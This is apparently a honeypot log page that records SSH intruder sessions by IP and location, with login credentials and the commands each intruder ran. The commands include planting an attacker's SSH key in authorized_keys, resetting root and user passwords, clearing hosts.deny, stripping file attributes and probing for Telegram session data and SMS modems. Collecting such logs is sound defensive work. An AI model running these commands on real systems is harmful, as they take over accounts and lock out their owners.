$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Gt7oWlGWPrfZ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_25 (111.91.16.62) — Singapore, Singapore · 1 session · 1 cmd

2026-07-14 02:40 EDT · as root/---fuck_you----

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 lantern_root_3 (106.13.98.225) — Beijing, China · 1 session · 1 cmd

2026-07-14 01:55 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 clog_root_3 (80.94.92.234) — Amsterdam, The Netherlands · 5 sessions · 45 cmds

2026-07-04 09:44 EDT · as admin/123456789, root/12345, root/123456

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2 // make executable

$ uname -s -v -n -m 2 > /dev/null ×5

$ /bin/uname -s -v -n -m 2 > /dev/null ×5

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×5

$ busybox uname -s -v -n -m 2 > /dev/null ×5

$ ( [ -f /proc/version ] ×5

$ [ -f /proc/version ] ×5

$ head -1 /proc/version | cut -d -f1 ×5

$ [ -f /etc/os-release ] ×5

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

🎭 baguette_root_3 (92.205.23.230) — Strasbourg, France · 1 session · 1 cmd

2026-07-13 22:08 EDT · as root/Swissmp123@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 rogue_root_34 (118.70.239.231) — Ho Chi Minh City, Vietnam · 1 session · 9 cmds

2026-07-13 20:54 EDT · as root/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 shadow_root_26 (185.35.223.45) — Almaty, Kazakhstan · 1 session · 1 cmd

2026-07-13 20:47 EDT · as root/.123Swissmp

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 stroopwafel_root (80.94.92.55) — Amsterdam, The Netherlands · 4 sessions · 36 cmds

2026-06-29 20:46 EDT · as root/123, root/12345, root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2 // make executable

$ uname -s -v -n -m 2 > /dev/null ×4

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2

🎭 frost_root (31.77.78.101) — Moscow, Russia · 1 session · 20 cmds

2026-07-13 20:23 EDT · as mytest/mytest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "mytest\nMSzlXKTvPTJ6\nMSzlXKTvPTJ6"|passwd|bash

$ Enter new UNIX password:

$ echo "mytest\nMSzlXKTvPTJ6\nMSzlXKTvPTJ6\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_sol (23.29.118.224) — New York, United States · 1 session · 20 cmds

2026-07-13 19:36 EDT · as prom/prom

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "prom\nPHNnEW5c9C2k\nPHNnEW5c9C2k"|passwd|bash

$ Enter new UNIX password:

$ echo "prom\nPHNnEW5c9C2k\nPHNnEW5c9C2k\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root_5 (14.29.248.43) — Shenzhen, China · 1 session · 1 cmd

2026-07-13 19:09 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 k-pop_sol (220.88.220.59) — Namyangju, South Korea · 1 session · 20 cmds

2026-07-13 17:33 EDT · as jay/P@ssw0rd

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "P@ssw0rd\ng5NVocmdEQQJ\ng5NVocmdEQQJ"|passwd|bash

$ Enter new UNIX password:

$ echo "P@ssw0rd\ng5NVocmdEQQJ\ng5NVocmdEQQJ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_8 (143.20.97.31) — Warsaw, Poland · 2 sessions · 39 cmds

2026-07-13 14:37 EDT · as builder/builder@123, root/!@#$qwerASDFzxcv

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:LuReeLNffEcS"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "builder@123\ntYAhb5LmvXAG\ntYAhb5LmvXAG"|passwd|bash

$ Enter new UNIX password:

$ echo "builder@123\ntYAhb5LmvXAG\ntYAhb5LmvXAG\n"|passwd

🎭 rogue_root_14 (200.73.20.104) — Las Condes, Chile · 1 session · 20 cmds

2026-07-13 15:09 EDT · as dangulo/dangulo@2024

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "dangulo@2024\nrBCGLfyd0Zm3\nrBCGLfyd0Zm3"|passwd|bash

$ Enter new UNIX password:

$ echo "dangulo@2024\nrBCGLfyd0Zm3\nrBCGLfyd0Zm3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_35 (93.62.72.229) — Milan, Italy · 1 session · 9 cmds

2026-07-13 14:06 EDT · as root/12345

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 burger_sol (141.11.88.235) — Crugers, United States · 2 sessions · 2 cmds

2026-07-13 10:11 EDT · as root/ubuntu, user/123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 cipher_sol (195.178.110.26) — Andorra la Vella, Andorra · 1 session · 1 cmd

2026-07-13 10:10 EDT · as solv/solv

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m // obfuscated system check

🎭 tulip_root_2 (193.32.162.84) — Amsterdam, The Netherlands · 4 sessions · 36 cmds

2026-07-05 12:41 EDT · as root/12345, root/123456, root/root

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 